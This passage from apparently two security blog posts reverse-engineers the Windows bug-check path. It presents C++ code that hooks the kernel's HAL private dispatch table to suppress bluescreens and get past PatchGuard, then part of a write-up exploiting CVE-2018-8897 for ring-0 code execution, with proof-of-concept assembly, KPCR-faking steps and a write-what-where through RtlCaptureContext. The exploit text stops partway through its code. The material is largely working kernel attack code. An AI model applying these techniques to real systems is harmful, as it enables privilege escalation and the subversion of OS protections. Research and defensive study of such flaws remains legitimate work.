 5.text:000000014006EA07 lea rax, [rsp+100h]
 6.text:000000014006EA0F movaps xmmword ptr [rsp+30h], xmm6
 7.text:000000014006EA14 movaps xmmword ptr [rsp+40h], xmm7
 8.text:000000014006EA19 movaps xmmword ptr [rsp+50h], xmm8
 9.text:000000014006EA1F movaps xmmword ptr [rsp+60h], xmm9
10.text:000000014006EA25 movaps xmmword ptr [rsp+70h], xmm10
11.text:000000014006EA2B movaps xmmword ptr [rax-80h], xmm11
12.text:000000014006EA30 movaps xmmword ptr [rax-70h], xmm12
13.text:000000014006EA35 movaps xmmword ptr [rax-60h], xmm13
14.text:000000014006EA3A movaps xmmword ptr [rax-50h], xmm14
15.text:000000014006EA3F movaps xmmword ptr [rax-40h], xmm15
16.text:000000014006EA44 mov [rax], rbx
17.text:000000014006EA47 mov [rax+8], rdi
18.text:000000014006EA4B mov [rax+10h], rsi
19.text:000000014006EA4F mov [rax+18h], r12
20.text:000000014006EA53 mov [rax+20h], r13
21.text:000000014006EA57 mov [rax+28h], r14
22.text:000000014006EA5B mov [rax+30h], r15
23.text:000000014006EA5F mov [rsp+20h], r10
24.text:000000014006EA64 call KeBugCheckEx

0x2: KeBugCheckEx

This routine is about a little guy that lives in a blue world, and all day and all night and everything he sees is just blue. It paints the screen blue and reboots.

Jokes aside, although this routine may be mainly responsible for displaying a bluescreen to the user and rebooting, it does a lot of processing before that, so no, not that simple. This is where the magic of our little exploit lives so let’s analyse the routine and every little detail associated with it.

It starts with disabling interrupts and saving caller context together with processor state to the processor control block, the seemingly “weird” modifications on the context following the calls is to make sure the saved Rcx, Rsp, Rip, EFlags reflects the caller state and not the bug-check routine itself.

 1.text:00000001401C10A0 KeBugCheckEx proc near: ; CODE XREF: CcGetDirtyPagesHelper+45F
 2.text:00000001401C10A0 ; CcUnpinFileDataEx+3CE
 3.text:00000001401C10A0 mov [rsp+8], rcx
 4.text:00000001401C10A5 mov [rsp+10h], rdx
 5.text:00000001401C10AA mov [rsp+18h], r8
 6.text:00000001401C10AF mov [rsp+20h], r9
 7.text:00000001401C10B4 pushfq
 8.text:00000001401C10B5 sub rsp, 30h
 9.text:00000001401C10B9 cli
10.text:00000001401C10BA mov rcx, gs:20h
11.text:00000001401C10C3 mov rcx, [rcx+62C0h]
12.text:00000001401C10CA call RtlCaptureContext
13.text:00000001401C10CF mov rcx, gs:20h
14.text:00000001401C10D8 add rcx, 100h
15.text:00000001401C10DF call KiSaveProcessorControlState
16.text:00000001401C10E4 mov r10, gs:20h
17.text:00000001401C10ED mov r10, [r10+62C0h]
18.text:00000001401C10F4 mov rax, [rsp+40h]
19.text:00000001401C10F9 mov [r10+80h], rax
20.text:00000001401C1100 mov rax, [rsp+30h]
21.text:00000001401C1105 mov [r10+44h], rax
22.text:00000001401C1109 lea rax, KeBugCheckRetPtr
23.text:00000001401C1110 cmp rax, [rsp+38h]
24.text:00000001401C1115 jnz short KeBugCheckEx_Call
25.text:00000001401C1117 lea r8, [rsp+68h]
26.text:00000001401C111C lea r9, KeBugCheck
27.text:00000001401C1123 jmp short KeBugCheck_Call_0
28.text:00000001401C1125 KeBugCheckEx_Call: ; CODE XREF: .text:00000001401C1115↑j
29.text:00000001401C1125 lea r8, [rsp+38h]
30.text:00000001401C112A lea r9, KeBugCheckEx
31.text:00000001401C1131
32.text:00000001401C1131 KeBugCheck_Call_0: ; CODE XREF: .text:00000001401C1123↑j
33.text:00000001401C1131 mov [r10+98h], r8
34.text:00000001401C1138 mov [r10+0F8h], r9

Then it saves the IRQL of the caller into KPRCB.DebuggerSavedIRQL, raises the IRQL to DISPATCH_LEVEL to make sure execution does not switch between processors and enables interrupts if caller had them enabled.

 1.text:00000001401C113F mov rax, cr8
 2.text:00000001401C1143 mov gs:5D18h, al
 3.text:00000001401C114B cmp al, 2
 4.text:00000001401C114D jge short IrqlAlreadyAboveDispatchLevel
 5.text:00000001401C114F mov ecx, 2
 6.text:00000001401C1154 mov cr8, rcx
 7.text:00000001401C1158
 8.text:00000001401C1158 IrqlAlreadyAboveDispatchLevel: ; CODE XREF: .text:00000001401C114D↑j
 9.text:00000001401C1158 mov rax, [rsp+30h]
10.text:00000001401C115D and rax, 200h
11.text:00000001401C1163 jz short CallerInterruptsDisabled
12.text:00000001401C1165 sti
13.text:00000001401C1166
14.text:00000001401C1166 CallerInterruptsDisabled: ; CODE XREF: .text:00000001401C1163↑j

Afterwards it increments the volatile integer KiHardwareTrigger and simply redirects to KeBugCheck2.

 1.text:00000001401C1166 lock inc cs:KiHardwareTrigger
 2.text:00000001401C116D mov rcx, [rsp+40h]
 3.text:00000001401C1172 mov qword ptr [rsp+28h], 0
 4.text:00000001401C117B lea rax, KeBugCheckRetPtr
 5.text:00000001401C1182 cmp rax, [rsp+38h]
 6.text:00000001401C1187 jz short KeBugCheck_Call
 7.text:00000001401C1189 mov rax, [rsp+60h]
 8.text:00000001401C118E mov [rsp+20h], rax
 9.text:00000001401C1193 mov r9, [rsp+58h]
10.text:00000001401C1198 mov r8, [rsp+50h]
11.text:00000001401C119D mov rdx, [rsp+48h]
12.text:00000001401C11A2 call KeBugCheck2
13.text:00000001401C11A2 ; ---------------------------------------------------------------------------
14.text:00000001401C11A7 align 8
15.text:00000001401C11A8
16.text:00000001401C11A8 KeBugCheck_Call: ; CODE XREF: .text:00000001401C1187↑j
17.text:00000001401C11A8 mov qword ptr [rsp+20h], 0
18.text:00000001401C11B1 xor r9d, r9d
19.text:00000001401C11B4 xor r8d, r8d
20.text:00000001401C11B7 xor edx, edx
21.text:00000001401C11B9 call KeBugCheck2

KeBugCheck2 implementation varies a lot depending on the Windows version but we mostly care about the shared logic. All implementations start with trying to acquire the KiBugCheckActive lock as described here:

 1union BUGCHECK_STATE
 2{
 3 volatile LONG Value;
 4 struct
 5 {
 6 volatile LONG Active : 3; // If active set to 0b111, otherwise 0b000. Not sure about what each flag means.
 7 volatile LONG Unknown : 1; // = (UninitializedDwordOnStack & 0x1E) & 1, what ???
 8 volatile LONG OwnerProcessorIndex : 28; // Processor index of the processor that initiated BugCheck state
 9 };
10};

A flag is set to indicate whether the current processor is the master processor or slave depending on whether it acquired the lock succesfully and things start to get interesting afterwards.

Windows 8 and 8.1: (8 just doesn’t have the HalTimerWatchdogStop call)

 1// We will come back to this later...
 2if ( !IsMaster )
 3 goto HowAmISupposedToQuitFromThisSpinlockLol;
 4
 5// Call HalTimerWatchdogStop from HalPrivateDispatchTable
 6HalPrivateDispatchTable.HalTimerWatchdogStop();
 7
 8// Mask 0x4000 off HV enlightenments
 9HvlEnlightenments &= ~0x4000;
10
11// KiNmiInProgress checks
12bool NmiFlag = false;
13int NmiIdx = 0;
14if ( KiNmiInProgress )
15{
16 while ( !NmiData[NmiIdx] )
17 {
18 if ( ++NmiIdx >= (unsigned __int16)KiNmiInProgress )
19 goto NoNmi;
20 }
21 NmiFlag = true;
22}
23NoNmi:
24
25// Call HalPrepareForBugcheck from HalPrivateDispatchTable
26HalPrivateDispatchTable.HalPrepareForBugcheck(NmiFlag);

Windows 10:

 1// We will come back to this later...
 2if ( !IsMaster )
 3 goto HowAmISupposedToQuitFromThisSpinlockLol;
 4
 5// Call HalTimerWatchdogStop from HalPrivateDispatchTable
 6HalPrivateDispatchTable.HalTimerWatchdogStop();
 7
 8// Mask 0x2000 off HV enlightenments
 9HvlEnlightenments &= ~0x4000;
10
11// Save BugCheck progress, what ???
12IoSaveBugCheckProgress(0x60);
13
14// KiNmiInProgress checks
15bool NmiFlag = KeIsEmptyAffinityEx(&KiNmiInProgress);
16
17// Call HalPrepareForBugcheck from HalPrivateDispatchTable
18HalPrivateDispatchTable.HalPrepareForBugcheck(NmiFlag);

We finally find what we wanted. Now given that I didn’t reverse the bugcheck routines because I was deeply interested in how Windows managed to draw a sad face, this means we can exploit something here. Take a guess, hint: HalPrivateDispatchTable. Where does HalPrivateDispatchTable reside? .data. Is it protected by PatchDoggo? Nope.

0x3: ByeBlue

We want to hook as early as possible within this routine, so we’ll go for HalTimerWatchdogStop where possible (dispatch table version version >= 23) and HalPrepareForBugcheck otherwise. First, let’s declare the table definition:

 1// Define HAL_PRIVATE_DISPATCH_TABLE
 2//
 3#define HAL_PDT_PREPARE_FOR_BUGCHECK_OFFSET 0x108
 4#define HAL_PDT_PREPARE_FOR_BUGCHECK_MIN_VERSION 6
 5using FnHalPrepareForBugcheck = void( __stdcall )( BOOLEAN NmiFlag );
 6
 7#define HAL_PDT_TIMER_WATCHDOG_STOP_OFFSET 0x338
 8#define HAL_PDT_TIMER_WATCHDOG_STOP_MIN_VERSION 23
 9using FnHalTimerWatchdogStop = NTSTATUS( __stdcall )();
10
11#pragma pack(push, 1)
12typedef struct _HAL_PRIVATE_DISPATCH_TABLE
13{
14 union
15 {
16 ULONG Version;
17 struct
18 {
19 char Pad0[ HAL_PDT_PREPARE_FOR_BUGCHECK_OFFSET ];
20 FnHalPrepareForBugcheck* HalPrepareForBugcheck;
21 };
22 struct
23 {
24 char Pad1[ HAL_PDT_TIMER_WATCHDOG_STOP_OFFSET ];
25 FnHalTimerWatchdogStop* HalTimerWatchdogStop;
26 };
27 };
28} HAL_PRIVATE_DISPATCH_TABLE;
29#pragma pack(pop)
30
31// Import HalPrivateDispatchTable
32//
33extern "C" __declspec( dllimport ) HAL_PRIVATE_DISPATCH_TABLE HalPrivateDispatchTable;

Hooking the table is very simple:

 1if ( HalPrivateDispatchTable.Version > HAL_PDT_TIMER_WATCHDOG_STOP_MIN_VERSION )
 2{
 3 // Hook HalTimerWatchdogStop
 4 HalTimerWatchdogStopOrig = HalPrivateDispatchTable.HalTimerWatchdogStop;
 5 HalPrivateDispatchTable.HalTimerWatchdogStop = &HkHalTimerWatchdogStop;
 6}
 7else if ( HalPrivateDispatchTable.Version > HAL_PDT_PREPARE_FOR_BUGCHECK_MIN_VERSION )
 8{
 9 // Hook HalPrepareForBugcheck
10 HalPrepareForBugcheckOrig = HalPrivateDispatchTable.HalPrepareForBugcheck;
11 HalPrivateDispatchTable.HalPrepareForBugcheck = &HkHalPrepareForBugcheck;
12}

Small note, within HkHalTimerWatchdogStop we need to check whether the return address is within KeBugCheck2 or not just incase it is called from somewhere else.

Now we need to extract the CONTEXT of the interrupted routine from KeBugCheck2 in order to be able to continue execution. We can simply parse the arguments like so:

 1ULONG BugCheckCode = PrcbContext->Rcx;
 2ULONG64 BugCheckArgs[] =
 3{
 4 PrcbContext->Rdx,
 5 PrcbContext->R8,
 6 PrcbContext->R9,
 7 *( ULONG64* ) ( PrcbContext->Rsp + 0x28 )
 8};
 9
10// Collect information about the exception based on bugcheck code
11switch ( BugCheckCode )
12{
13 case UNEXPECTED_KERNEL_MODE_TRAP:
14 // No context formed, read from trap frame, can ignore exception frame
15 // as it should be the same as KeBugCheckEx caller context
16 //
17 Tf = ( KTRAP_FRAME* ) ( PrcbContext->Rbp - 0x80 );
18 PrcbContext->Rax = Tf->Rax;
19 PrcbContext->Rcx = Tf->Rcx;
20 PrcbContext->Rdx = Tf->Rdx;
21 PrcbContext->R8 = Tf->R8;
22 PrcbContext->R9 = Tf->R9;
23 PrcbContext->R10 = Tf->R10;
24 PrcbContext->R11 = Tf->R11;
25 PrcbContext->Rbp = Tf->Rbp;
26 PrcbContext->Xmm0 = Tf->Xmm0;
27 PrcbContext->Xmm1 = Tf->Xmm1;
28 PrcbContext->Xmm2 = Tf->Xmm2;
29 PrcbContext->Xmm3 = Tf->Xmm3;
30 PrcbContext->Xmm4 = Tf->Xmm4;
31 PrcbContext->Xmm5 = Tf->Xmm5;
32 PrcbContext->Rip = Tf->Rip;
33 PrcbContext->Rsp = Tf->Rsp;
34 PrcbContext->SegCs = Tf->SegCs;
35 PrcbContext->SegSs = Tf->SegSs;
36 PrcbContext->EFlags = Tf->EFlags;
37 ContextRecord = PrcbContext;
38 ExceptionCode = BugCheckArgs[ 0 ];
39 break;
40 case SYSTEM_THREAD_EXCEPTION_NOT_HANDLED:
41 ExceptionCode = BugCheckArgs[ 0 ];
42 ExceptionAddress = BugCheckArgs[ 1 ];
43 ExceptionRecord = ( EXCEPTION_RECORD* ) BugCheckArgs[ 2 ];
44 ContextRecord = ( CONTEXT* ) BugCheckArgs[ 3 ];
45 break;
46 case SYSTEM_SERVICE_EXCEPTION:
47 ExceptionCode = BugCheckArgs[ 0 ];
48 ExceptionAddress = BugCheckArgs[ 1 ];
49 ContextRecord = ( CONTEXT* ) BugCheckArgs[ 2 ];
50 break;
51 case KMODE_EXCEPTION_NOT_HANDLED:
52 case KERNEL_MODE_EXCEPTION_NOT_HANDLED:
53 ExceptionCode = BugCheckArgs[ 0 ];
54 ExceptionAddress = BugCheckArgs[ 1 ];
55 break;
56 default:
57 return false;
58}
59
60// Scan for context if no context pointer could be extracted
61if ( !ContextRecord )
62{
63 constexpr LONG ContextAlignment = __alignof( CONTEXT );
64 ULONG64 StackIt = BugCheckCtx->Rsp & ~( ContextAlignment - 1 );
65
66 while ( ContextRecord = ( CONTEXT* ) StackIt )
67 {
68 if ( ( ContextRecord->ContextFlags == 0x10005F || ContextRecord->ContextFlags == 0x10001F ) &&
69 ContextRecord->SegCs == 0x0010 &&
70 ContextRecord->SegDs == 0x002B &&
71 ContextRecord->SegEs == 0x002B &&
72 ContextRecord->SegFs == 0x0053 &&
73 ContextRecord->SegGs == 0x002B &&
74 ( ContextRecord->Rip == ExceptionAddress || ContextRecord->Rip == ( ExceptionAddress - 1 ) ) &&
75 ContextRecord->Rsp > 0xFFFF080000000000 )
76 {
77 break;
78 }
79 StackIt += ContextAlignment;
80 }
81}

Let’s give it a try!

 1BugCheckHook::Set( [ ] ()
 2{
 3 // Try parsing BugCheck parameters
 4 CONTEXT* ContextRecord = nullptr;
 5 EXCEPTION_RECORD ExceptionRecord;
 6 if ( !BugCheck::Parse( &ContextRecord, &ExceptionRecord ) ) return;
 7
 8 // If it is due to #BP
 9 if ( ExceptionRecord.ExceptionCode == STATUS_BREAKPOINT )
10 {
11 // Restore global state changes
12 *KiBugCheckActive = 0;
13 *KiHardwareTrigger = 0;
14
15 // Log
16 Log( "Discarding #BP at RIP = %p!\n", ContextRecord->Rip );
17
18 // Continue execution
19 ContextRecord->Rip++;
20 BugCheck::Continue( ContextRecord );
21 }
22} );
23
24__debugbreak();

Yay, success! Right? No. Try this instead and watch your entire system lock down:

1KeIpiGenericCall( [ ] ( ULONG64 x )
2{
3 __debugbreak();
4 return 0ull;
5}, 0 );

0x4: Concurrency is a thing

This happens because KeBugCheck is not meant to be executed multiple times, in fact it protects itself from this exact state using the KiBugCheckActive spinlock. If two or more processors raise an exception that was not meant to be raised concurrently and end up in KeBugCheck2, one will be taking the slave branch I called HowAmISupposedToQuitFromThisSpinlockLol previously, appropriately.

Providing the pseudocode for this branch should be enough to justify the naming of the branch.

 1_disable();
 2KeRaiseIrql( HIGH_LEVEL );
 3if ( KeGetCurrentProcessorIndex() != ( KiBugCheckActive >> 4 ) )
 4{
 5 while ( 1 )
 6 {
 7 if ( KeGetCurrentPrcb()->IpiFrozen == 5 )
 8 KiFreezeTargetExecution( nullptr, nullptr );
 9 _mm_pause();
10 }
11}

Unless we send a NMI manually, only way to escape from this is to somehow take control within KiFreezeTargetExecution. Let’s assume we set IpiFrozen=5 and analyze KiFreezeTargetExecution.

 1void KiFreezeTargetExecution(void*, void*)
 2{
 3 if ( KiFreezeExecutionLock || KiFreezeLockBackup || (KiBugCheckActive & 3) )
 4 {
 5 if ( ViVerifierEnabled )
 6 VfStopBranchTracing();
 7 _disable();
 8 __writecr8(0xFui64);
 9 KiStartDebugAccumulation(KeGetCurrentPrcb());
10 KeGetCurrentPrcb()->IpiFrozen = 2;
11 HalPrivateDispatchTable.HalNotifyProcessorFreeze(TRUE, FALSE);

HalPrivateDispatchTable is a gift that never stops giving :)

Freezing a processor only happens during boot, debugger and bug-check related events none of which we care. So the easiest way to get out of this situation is to set KiFreezeExecutionLock to true and IpiFrozen for each KPCRB to 5.

All of our HAL callbacks will clear KiBugCheckActive, decrement KiHardwareTrigger, reset KPCRB->IpiFrozen to 5 if HalNotifyProcessorFreeze and call a generic HandleBugCheck as implemented below:

 1// Get state at KeBugCheck(Ex) call
 2CONTEXT* BugCheckCtx = GetProcessorContext();
 3KSPECIAL_REGISTERS* BugCheckState = GetProcessorState();
 4
 5// Lower IRQL to DISPATCH_LEVEL where possible
 6if ( BugCheckCtx->EFlags & 0x200 )
 7{
 8 __writecr8( BugCheckState->Cr8 >= DISPATCH_LEVEL ? BugCheckState->Cr8 : DISPATCH_LEVEL );
 9 _enable();
10}
11
12// Extract arguments of the original call, BugCheck::Parse may clobber them
13ULONG BugCheckCode = BugCheckCtx->Rcx;
14ULONG64 BugCheckArgs[] =
15{
16 BugCheckCtx->Rdx,
17 BugCheckCtx->R8,
18 BugCheckCtx->R9,
19 *( ULONG64* ) ( BugCheckCtx->Rsp + 0x28 )
20};
21
22// Try parsing parameters
23CONTEXT* ContextRecord = nullptr;
24EXCEPTION_RECORD ExceptionRecord;
25if ( BugCheck::Parse( &ContextRecord, &ExceptionRecord, BugCheckCtx ) )
26{
27 // Try handling exception
28 if ( Cb( ContextRecord, &ExceptionRecord ) == EXCEPTION_CONTINUE_EXECUTION )
29 {
30 // Revert IRQL to match interrupted routine
31 _disable();
32 __writecr8( BugCheckState->Cr8 );
33
34 // Restore context (These flags make the control flow a little simpler :wink:)
35 ContextRecord->ContextFlags = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS | CONTEXT_FLOATING_POINT;
36 RtlRestoreContext( ContextRecord, nullptr );
37 __fastfail( 0 );
38 }
39}
40
41// Failed to handle, show blue screen
42HlCallback = nullptr;
43ProcessorIpiFrozen() = 0;
44*KiFreezeExecutionLock = false;
45return KeBugCheckEx( BugCheckCode, BugCheckArgs[ 0 ], BugCheckArgs[ 1 ], BugCheckArgs[ 2 ], BugCheckArgs[ 3 ] );

Let’s give our previous test another try with:

 1ExceptionHandler::Initialize();
 2ExceptionHandler::HlCallback = [ ] ( CONTEXT* ContextRecord, EXCEPTION_RECORD* ExceptionRecord ) -> LONG
 3{
 4 // If it is due to #BP
 5 if ( ExceptionRecord->ExceptionCode == STATUS_BREAKPOINT )
 6 {
 7 Log( "Discarding #BP at RIP = %p, Processor ID: %d, IRQL: %d!\n", ContextRecord->Rip, KeGetCurrentProcessorIndex(), GetProcessorState()->Cr8 );
 8
 9 // Continue execution
10 ContextRecord->Rip++;
11 return EXCEPTION_CONTINUE_EXECUTION;
12 }
13 return EXCEPTION_EXECUTE_HANDLER;
14};
15
16KeIpiGenericCall( [ ] ( ULONG64 x )
17{
18 for ( int i = 0; i < 4; i++ )
19 __debugbreak();
20 return 0ull;
21}, 0 );

We are now officialy done. Weaponization potential of this is only limited by your creativity :)

All source code along with two examples can be found at: https://github.com/can1357/ByePg.

Arbitrary Code Execution at Ring 0 using CVE-2018-8897

Fri, 11 May 2018 00:00:00 +0000

Just a few days ago, a new vulnerability allowing an unprivileged user to run #DB handler with user-mode GSBASE was found by Nick Peterson (@nickeverdox) and Nemanja Mulasmajic (@0xNemi). At the end of the whitepaper they published on triplefault.io, they mentioned that they were able to load and execute unsigned kernel code, which got me interested in the challenge; and that’s exactly what I’m going to attempt doing in this post.

Before starting, I would like to note that this exploit may not work with certain hypervisors (like VMWare), which discard the pending #DB after INT3. I debugged it by “simulating” this situation.

Final source code can be found at the bottom.

0x0: Setting Up the Basics

The fundamentals of this exploit is really simple unlike the exploitation of it. When stack segment is changed –whether via MOV or POP– until the next instruction completes interrupts are deferred. This is not a microcode bug but rather a feature added by Intel so that stack segment and stack pointer can get set at the same time.

However, many OS vendors missed this detail, which lets us raise a #DB exception as if it comes from CPL0 from user-mode.

We can create a deferred-to-CPL0 exception by setting debug registers in such a way that during the execution of stack-segment changing instruction a #DB will raise and calling int 3 right after. int 3 will jump to KiBreakpointTrap, and before the first instruction of KiBreakpointTrap executes, our #DB will be raised.

As it is mentioned by the everdox and 0xNemi in the original whitepaper, this lets us run a kernel-mode exception handler with our user-mode GSBASE. Debug registers and XMM registers will also be persisted.

All of this can be done in a few lines like shown below:

 1#include <Windows.h>
 2#include <iostream>
 3
 4void main()
 5{
 6 static DWORD g_SavedSS = 0;
 7
 8 _asm
 9 {
10 mov ax, ss
11 mov word ptr [ g_SavedSS ], ax
12 }
13
14 CONTEXT Ctx = { 0 };
15 Ctx.Dr0 = ( DWORD ) &g_SavedSS;
16 Ctx.Dr7 = ( 0b1 << 0 ) | ( 0b11 << 16 ) | ( 0b11 << 18 );
17 Ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS;
18 SetThreadContext( HANDLE( -2 ), &Ctx );
19
20 PVOID FakeGsBase = ...;
21
22 _asm
23 {
24 mov eax, FakeGsBase ; Set eax to fake gs base
25
26 push 0x23
27 push X64_End
28 push 0x33
29 push X64_Start
30 retf
31
32 X64_Start:
33 __emit 0xf3              ; wrgsbase eax
34 __emit 0x0f
35 __emit 0xae
36 __emit 0xd8
37 retf
38 X64_End:
39
40 ; Vulnerability
41 mov ss, word ptr [ g_SavedSS ] ; Defer debug exception
42 int 3 ; Execute with interrupts disabled
43 nop
44 }
45}

This example is 32-bit for the sake of showing ASM and C together, the final working code will be 64-bit.

Now let’s start debugging, we are in KiDebugTrapOrFault with our custom GSBASE! However, this is nothing but catastrophic, almost no function works and we will end up in a KiDebugTrapOrFault->KiGeneralProtectionFault->KiPageFault->KiPageFault->… infinite loop. If we had a perfectly valid GSBASE, the outcome of what we achieved so far would be a KMODE_EXCEPTION_NOT_HANDLED BSOD**,** so let’s focus on making GSBASE function like the real one and try to get to KeBugCheckEx.

We can utilize a small IDA script to step to relevant parts faster:

 1#include <idc.idc>
 2
 3static main()
 4{
 5 Message( "--- Step Till Next GS ---\n" );
 6
 7 while( 1 )
 8 {
 9 auto Disasm = GetDisasmEx( GetEventEa(), 1 );
10 if ( strstr( Disasm, "gs:" ) >= Disasm )
11   break;
12 StepInto();
13 GetDebuggerEvent( WFNE_SUSP, -1 );
14 }
15}

0x1: Fixing the KPCR Data

Here are the few cases we have to modify GSBASE contents to pass through successfully:

- KiDebugTrapOrFault

1KiDebugTrapOrFault:
2...
3MEMORY:FFFFF8018C20701E ldmxcsr dword ptr gs:180h

Pcr.Prcb.MxCsr needs to have a valid combination of flags to pass this instruction or else it will raise a #GP. So let’s set it to its initial value, 0x1F80.

- KiExceptionDispatch

1KiExceptionDispatch:
2...
3MEMORY:FFFFF8018C20DB5F mov rax, gs:188h
4MEMORY:FFFFF8018C20DB68 bt dword ptr [rax+74h], 8

Pcr.Prcb.CurrentThread is what resides in gs:188h. We are going to allocate a block of memory and reference it in gs:188h.

- KiDispatchException

1KiDispatchException:
2...
3MEMORY:FFFFF8018C12A4D8 mov rax, gs:qword_188
4MEMORY:FFFFF8018C12A4E1 mov rax, [rax+0B8h]

This is Pcr.Prcb.CurrentThread.ApcStateFill.Process and again we are going to allocate a block of memory and simply make this pointer point to it.

1KeCopyLastBranchInformation:
2...
3MEMORY:FFFFF8018C12A0AC mov rax, gs:qword_20
4MEMORY:FFFFF8018C12A0B5 mov ecx, [rax+148h]

0x20 from GSBASE is Pcr.CurrentPrcb, which is simply Pcr + 0x180. Let’s set Pcr.CurrentPrcb to Pcr + 0x180 and also set Pcr.Self to &Pcr while on it.

- RtlDispatchException

This one is going to be a little bit more detailed. RtlDispatchException calls RtlpGetStackLimits, which calls KeQueryCurrentStackInformation and ___fastfail_s if it fails. The problem here is that KeQueryCurrentStackInformation checks the current value of RSP against Pcr.Prcb.RspBase, Pcr.Prcb.CurrentThread->InitialStack, Pcr.Prcb.IsrStack and if it doesn’t find a match it reports failure. We obviously cannot know the value of kernel stack from user-mode, so what to do?

There’s a weird check in the middle of the function:

 1char __fastcall KeQueryCurrentStackInformation(_DWORD *a1, unsigned __int64 *a2, unsigned __int64 *a3)
 2{
 3 ...
 4 if ( *(_QWORD *)(*MK_FP(__GS__, 392i64) + 40i64) == *MK_FP(__GS__, 424i64) )
 5 {
 6 ...
 7 }
 8 else
 9 {
10 *v5 = 5;
11 result = 1;
12 *v3 = 0xFFFFFFFFFFFFFFFFi64;
13 *v4 = 0xFFFF800000000000i64;
14 }
15 return result;
16}

Thanks to this check, as long as we make sure KThread.InitialStack (KThread + 0x28) is not equal to Pcr.Prcb.RspBase (gs:1A8h) KeQueryCurrentStackInformation will return success with 0xFFFF800000000000-0xFFFFFFFFFFFFFFFF as the reported stack range. Let’s go ahead and set Pcr.Prcb.RspBase to 1 and Pcr.Prcb.CurrentThread->InitialStack to 0. Problem solved.

RtlDispatchException after these changes will fail without bugchecking and return to KiDispatchException.

- KeBugCheckEx

We are finally here. Here’s the last thing we need to fix:

1MEMORY:FFFFF8018C1FB94A mov rcx, gs:qword_20
2MEMORY:FFFFF8018C1FB953 mov rcx, [rcx+62C0h]
3MEMORY:FFFFF8018C1FB95A call RtlCaptureContext

Pcr.CurrentPrcb->Context is where KeBugCheck saves the context of the caller and for some weird reason, it is a PCONTEXT instead of a CONTEXT. We don’t really care about any other fields of Pcr so let’s just set it to Pcr+ 0x3000 just for the sake of having a valid pointer for now.

0x2: and Write|What|Where

And there we go, sweet sweet blue screen of victory!

{.center}

Now that everything works, how can we exploit it?

The code after KeBugCheckEx is too complex to step in one by one and it is most likely not-so-fun to revert from so let’s try NOT to bugcheck this time.

I wrote another IDA script to log the points of interest (such as gs: accesses and jumps and calls to registers and [registers+x]) and made it step until KeBugCheckEx is hit:

 1#include <idc.idc>
 2
 3static main()
 4{
 5 Message( "--- Logging Points of Interest ---\n" );
 6
 7 while( 1 )
 8 {
 9 auto IP = GetEventEa();
10 auto Disasm = GetDisasmEx( IP, 1 );
11
12 if
13 (
14 ( strstr( Disasm, "gs:" ) >= Disasm ) ||
15 ( strstr( Disasm, "jmp r" ) >= Disasm ) ||
16 ( strstr( Disasm, "call r" ) >= Disasm ) ||
17 ( strstr( Disasm, "jmp" ) >= Disasm && strstr( Disasm, "[r" ) >= Disasm ) ||
18 ( strstr( Disasm, "call" ) >= Disasm && strstr( Disasm, "[r" ) >= Disasm )
19 )
20 {
21 Message( "-- %s (+%x): %s\n", GetFunctionName( IP ), IP - GetFunctionAttr( IP, FUNCATTR_START ), Disasm );
22 }
23
24 StepInto();
25 GetDebuggerEvent( WFNE_SUSP, -1 );
26
27 if( IP == ... )
28 break;
29 }
30}

To my disappointment, there is no convenient jumps or calls. The whole output is:

1- KiDebugTrapOrFault (+3d): test word ptr gs:278h, 40h
2- sub_FFFFF8018C207019 (+5): ldmxcsr dword ptr gs:180h
3-- KiExceptionDispatch (+5f): mov rax, gs:188h
4--- KiDispatchException (+48): mov rax, gs:188h
5--- KiDispatchException (+5c): inc gs:5D30h
6---- KeCopyLastBranchInformation (+38): mov rax, gs:20hh
7---- KeQueryCurrentStackInformation (+3b): mov rax, gs:188h
8---- KeQueryCurrentStackInformation (+44): mov rcx, gs:1A8h
9--- KeBugCheckEx (+1a): mov rcx, gs:20h

This means that we have to find a way to write to kernel-mode memory and abuse that instead. RtlCaptureContext will be a tremendous help here. As I mentioned before, it is taking the context pointer from Pcr.CurrentPrcb->Context, which is weirdly a PCONTEXT Context and not a CONTEXT Context, meaning we can supply it any kernel address and make it write the context over it.

I was originally going to make it write over g_CiOptions and continuously NtLoadDriver in another thread, but this idea did not work as well as I thought (That being said, appearently this is the way @0xNemi and @nickeverdox got it working. I guess we will see what dark magic they used at BlackHat 2018.) simply because the current thread is stuck in an infinite loop and the other thread trying to NtLoadDriver will not succeed because of the IPI it uses:

NtLoadDriver->…->MiSetProtectionOnSection->KeFlushMultipleRangeTb->IPI->Deadlock

After playing around with g_CiOptions for 1-2 days, I thought of a much better idea: overwriting the return address of RtlCaptureContext.

How are we going to overwrite the return address without having access to RSP? If we use a little bit of creativity, we actually can have access to RSP. We can get the current RSP by making Prcb.Context point to a user-mode memory and polling Context.RSP value from a secondary thread. Sadly, this is not useful by itself as we already passed RtlCaptureContext (our write what where exploit).

However, if we could return back to KiDebugTrapOrFault after RtlCaptureContext finishes its work and somehow predict the next value of RSP, this would be extremely abusable; which is exactly what we are going to do.

To return back to KiDebugTrapOrFault, we will again use our lovely debug registers. Right after RtlCaptureContext returns, a call to KiSaveProcessorControlState is made.

 1.text:000000014017595F mov rcx, gs:20h
 2.text:0000000140175968 add rcx, 100h
 3.text:000000014017596F call KiSaveProcessorControlState
 4
 5.text:0000000140175C80 KiSaveProcessorControlState proc near
 6.text:0000000140175C80 mov rax, cr0
 7.text:0000000140175C83 mov [rcx], rax
 8.text:0000000140175C86 mov rax, cr2
 9.text:0000000140175C89 mov [rcx+8], rax
10.text:0000000140175C8D mov rax, cr3
11.text:0000000140175C90 mov [rcx+10h], rax
12.text:0000000140175C94 mov rax, cr4
13.text:0000000140175C97 mov [rcx+18h], rax
14.text:0000000140175C9B mov rax, cr8
15.text:0000000140175C9F mov [rcx+0A0h], rax

We will set DR1 on gs:20h + 0x100 + 0xA0, and make KeBugCheckEx return back to KiDebugTrapOrFault just after it saves the value of CR4.

To overwrite the return pointer, we will first let KiDebugTrapOrFault->…->RtlCaptureContext execute once giving our user-mode thread an initial RSP value, then we will let it execute another time to get the new RSP, which will let us calculate per-execution RSP difference. This RSP delta will be constant because the control flow is also constant.

Now that we have our RSP delta, we will predict the next value of RSP, subtract 8 from that to calculate the return pointer of RtlCaptureContext and make Prcb.Context->Xmm13 - Prcb.Context->Xmm15 written over it.

Thread logic will be like the following:

 1volatile PCONTEXT Ctx = *( volatile PCONTEXT* ) ( Prcb + Offset_Prcb__Context );
 2
 3while ( !Ctx->Rsp );                 // Wait for RtlCaptureContext to be called once so we get leaked RSP
 4uint64_t StackInitial = Ctx->Rsp;
